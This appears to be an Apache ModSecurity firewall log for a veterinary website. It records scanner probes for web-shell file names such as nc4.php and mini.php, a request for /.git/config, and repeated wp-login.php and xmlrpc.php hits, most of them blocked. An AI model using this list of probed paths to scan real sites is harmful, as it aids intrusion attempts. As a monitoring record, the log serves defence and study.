[Mon Dec 08 06:00:48.861856 2025] [:error] [pid 54704:tid 54710] [client 4.189.128.201:35184] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aTX5EHL1WYsMMmlqjh4VSwAAAUM"]
[Mon Dec 08 06:00:49.090777 2025] [:error] [pid 18636:tid 18716] [client 4.189.128.201:28053] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aTX5EegdXnohVr6jm71IZQAAAJg"]
[Mon Dec 08 06:00:49.324728 2025] [:error] [pid 18635:tid 18672] [client 4.189.128.201:43148] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aTX5EW4kCC_HamQRuE11KgAAAEc"]
[Mon Dec 08 06:00:49.553173 2025] [:error] [pid 54704:tid 54723] [client 4.189.128.201:9724] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aTX5EXL1WYsMMmlqjh4VTgAAAVA"]
[Mon Dec 08 06:00:49.784980 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:48817] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aTX5EadUeDkxwo12SG8n0QAAAYo"]
[Mon Dec 08 06:00:50.014258 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:43191] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aTX5EnL1WYsMMmlqjh4VUAAAAUI"]
[Mon Dec 08 06:00:50.243324 2025] [:error] [pid 54704:tid 54714] [client 4.189.128.201:37955] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aTX5EnL1WYsMMmlqjh4VUgAAAUc"]
[Mon Dec 08 06:00:50.472452 2025] [:error] [pid 54704:tid 54728] [client 4.189.128.201:23781] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aTX5EnL1WYsMMmlqjh4VUwAAAVU"]
[Mon Dec 08 06:00:50.717807 2025] [:error] [pid 54705:tid 54735] [client 4.189.128.201:62617] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aTX5EqdUeDkxwo12SG8n1QAAAYE"]
[Mon Dec 08 06:00:50.967775 2025] [:error] [pid 54671:tid 54675] [client 4.189.128.201:48827] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aTX5ElqOuiNLLCfVy7-NEQAAAQE"]
[Mon Dec 08 06:00:51.199929 2025] [:error] [pid 18636:tid 18700] [client 4.189.128.201:48803] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aTX5E-gdXnohVr6jm71IagAAAIg"]
[Mon Dec 08 06:00:51.463052 2025] [:error] [pid 54671:tid 54693] [client 4.189.128.201:23752] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aTX5E1qOuiNLLCfVy7-NEgAAARM"]
[Mon Dec 08 06:00:51.697135 2025] [:error] [pid 18635:tid 18671] [client 4.189.128.201:9670] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aTX5E24kCC_HamQRuE11MAAAAEY"]
[Mon Dec 08 06:00:51.926792 2025] [:error] [pid 18635:tid 18689] [client 4.189.128.201:23759] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aTX5E24kCC_HamQRuE11MQAAAFg"]
[Mon Dec 08 06:00:52.155589 2025] [:error] [pid 54705:tid 54741] [client 4.189.128.201:33563] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aTX5FKdUeDkxwo12SG8n2gAAAYc"]
[Mon Dec 08 06:00:52.399354 2025] [:error] [pid 54705:tid 54754] [client 4.189.128.201:33547] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aTX5FKdUeDkxwo12SG8n3QAAAZQ"]
[Mon Dec 08 06:00:52.627136 2025] [:error] [pid 54704:tid 54710] [client 4.189.128.201:33590] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTX5FHL1WYsMMmlqjh4VWwAAAUM"]
[Mon Dec 08 06:00:52.855097 2025] [:error] [pid 18636:tid 18708] [client 4.189.128.201:28071] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTX5FOgdXnohVr6jm71IawAAAJA"]
[Mon Dec 08 06:00:53.083422 2025] [:error] [pid 54704:tid 54708] [client 4.189.128.201:9420] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTX5FXL1WYsMMmlqjh4VXgAAAUE"]
[Mon Dec 08 06:00:53.312061 2025] [:error] [pid 54671:tid 54686] [client 4.189.128.201:51282] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTX5FVqOuiNLLCfVy7-NEwAAAQw"]
[Mon Dec 08 06:00:53.540098 2025] [:error] [pid 18635:tid 18688] [client 4.189.128.201:58474] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTX5FW4kCC_HamQRuE11NAAAAFc"]
[Mon Dec 08 06:00:53.770818 2025] [:error] [pid 18635:tid 18673] [client 4.189.128.201:9425] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTX5FW4kCC_HamQRuE11NQAAAEg"]
[Mon Dec 08 06:00:53.999949 2025] [:error] [pid 18636:tid 18712] [client 4.189.128.201:58470] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTX5FegdXnohVr6jm71IbgAAAJQ"]
[Mon Dec 08 06:00:54.228208 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:28733] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTX5FqdUeDkxwo12SG8n4wAAAYA"]
[Mon Dec 08 06:00:54.480949 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:58460] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aTX5FugdXnohVr6jm71IbwAAAII"]
[Mon Dec 08 06:00:54.720555 2025] [:error] [pid 54705:tid 54758] [client 4.189.128.201:28686] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aTX5FqdUeDkxwo12SG8n5QAAAZg"]
[Mon Dec 08 06:00:54.953363 2025] [:error] [pid 18636:tid 18705] [client 4.189.128.201:33569] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aTX5FugdXnohVr6jm71IcQAAAI0"]
[Mon Dec 08 06:00:55.188371 2025] [:error] [pid 18726:tid 18745] [client 4.189.128.201:19028] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aTX5F1wVbxmJGL5LHAc6dAAAANE"]
[Mon Dec 08 06:00:55.415207 2025] [:error] [pid 18635:tid 18687] [client 4.189.128.201:19026] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aTX5F24kCC_HamQRuE11NwAAAFY"]
[Mon Dec 08 06:00:55.642348 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:31671] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aTX5F6dUeDkxwo12SG8n7gAAAZc"]
[Mon Dec 08 06:00:55.869638 2025] [:error] [pid 18636:tid 18703] [client 4.189.128.201:37981] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aTX5F-gdXnohVr6jm71IfAAAAIs"]
[Mon Dec 08 06:00:56.115363 2025] [:error] [pid 18726:tid 18732] [client 4.189.128.201:33423] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aTX5GFwVbxmJGL5LHAc6dgAAAMQ"]
[Mon Dec 08 06:00:56.344364 2025] [:error] [pid 18726:tid 18735] [client 4.189.128.201:58620] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aTX5GFwVbxmJGL5LHAc6eAAAAMc"]
[Mon Dec 08 06:00:56.571367 2025] [:error] [pid 18726:tid 18738] [client 4.189.128.201:37975] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aTX5GFwVbxmJGL5LHAc6eQAAAMo"]
[Mon Dec 08 06:00:56.798846 2025] [:error] [pid 18726:tid 18743] [client 4.189.128.201:58600] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aTX5GFwVbxmJGL5LHAc6ewAAAM8"]
[Mon Dec 08 06:00:57.026430 2025] [:error] [pid 18635:tid 18667] [client 4.189.128.201:58461] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aTX5GW4kCC_HamQRuE11VAAAAEI"]
[Mon Dec 08 06:00:57.254304 2025] [:error] [pid 54671:tid 54691] [client 4.189.128.201:33426] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aTX5GVqOuiNLLCfVy7-NJwAAARE"]
[Mon Dec 08 06:00:57.497733 2025] [:error] [pid 54671:tid 54677] [client 4.189.128.201:9440] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aTX5GVqOuiNLLCfVy7-NKQAAAQM"]
[Mon Dec 08 06:00:57.728789 2025] [:error] [pid 18636:tid 18698] [client 4.189.128.201:38013] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aTX5GegdXnohVr6jm71IggAAAIY"]
[Mon Dec 08 06:00:57.958028 2025] [:error] [pid 18634:tid 18661] [client 4.189.128.201:9422] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aTX5GZ-H1wCBKPf4vhN-bgAAABc"]
[Mon Dec 08 06:19:50.493230 2025] [:error] [pid 18634:tid 18641] [client 51.91.58.113:60722] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.58.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTX9hp-H1wCBKPf4vhODEAAAAAM"]
[Mon Dec 08 07:06:39.843682 2025] [:error] [pid 54704:tid 54713] [client 43.140.247.223:53176] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTYIf3L1WYsMMmlqjh4pUwAAAUY"]
[Mon Dec 08 07:27:44.669392 2025] [:error] [pid 63057:tid 63097] [client 66.226.73.181:57196] [client 66.226.73.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.226.73.181, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTYNcPmfJ_ZM9jb0vY6eRwAAAEc"]
[Mon Dec 08 07:57:42.976798 2025] [:error] [pid 39159:tid 39177] [client 44.234.147.121:54792] [client 44.234.147.121] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aTYUdk48HaQt8jqjSbonzwAAAAw"]
[Mon Dec 08 08:36:12.650612 2025] [:error] [pid 39261:tid 39288] [client 178.255.43.221:56196] [client 178.255.43.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.255.43.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTYdfHijlEqKrwMitDG-cgAAANc"]
[Mon Dec 08 09:45:03.286707 2025] [:error] [pid 39261:tid 39268] [client 152.42.219.10:58926] [client 152.42.219.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.219.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTYtn3ijlEqKrwMitDHd4gAAAMM"]
[Mon Dec 08 10:53:00.666652 2025] [:error] [pid 39261:tid 39277] [client 178.128.250.184:55778] [client 178.128.250.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.250.184, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTY9jHijlEqKrwMitDEA9gAAAMw"]
[Mon Dec 08 11:46:45.143404 2025] [:error] [pid 39160:tid 39200] [client 45.88.186.148:54679] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTZKJSm5Ndns0p3OT9CKqwAAAEg"]
[Mon Dec 08 11:46:45.545270 2025] [:error] [pid 43362:tid 43391] [client 45.88.186.148:54741] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTZKJToamfxHn2vcwqy4ngAAAcA"]
[Mon Dec 08 11:46:45.947997 2025] [:error] [pid 39161:tid 39238] [client 45.88.186.148:54788] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTZKJeQBy-JdpUuZzWf4UwAAAJI"]
[Mon Dec 08 11:46:46.351420 2025] [:error] [pid 39261:tid 39272] [client 45.88.186.148:54827] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTZKJnijlEqKrwMitDETnwAAAMc"]
[Mon Dec 08 12:41:48.690374 2025] [:error] [pid 43324:tid 43342] [client 107.189.7.144:19702] [client 107.189.7.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.189.7.144, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTZXDGPgmTVXZPILisbs2AAAAVA"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Mon Dec 08 13:02:14.538920 2025] [:error] [pid 13447:tid 13518] [client 106.54.62.156:36710] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTZb1nsXz7UXj3rHK1udrgAAAMw"]
[Mon Dec 08 13:12:06.343535 2025] [:error] [pid 16888:tid 16891] [client 141.95.126.177:38092] [client 141.95.126.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.126.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTZeJhSZHPLCPHyOpBVG3wAAAAA"]
[Mon Dec 08 13:31:37.912970 2025] [:error] [pid 13533:tid 13538] [client 5.161.241.41:54062] [client 5.161.241.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.241.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTZiuUwxYk7zHgjCNdZlTgAAAUM"]
[Mon Dec 08 14:14:51.446270 2025] [:error] [pid 13445:tid 13461] [client 85.12.197.19:56897] [client 85.12.197.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.12.197.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTZs28ek7sIjbF2WoVbjAQAAAEs"]
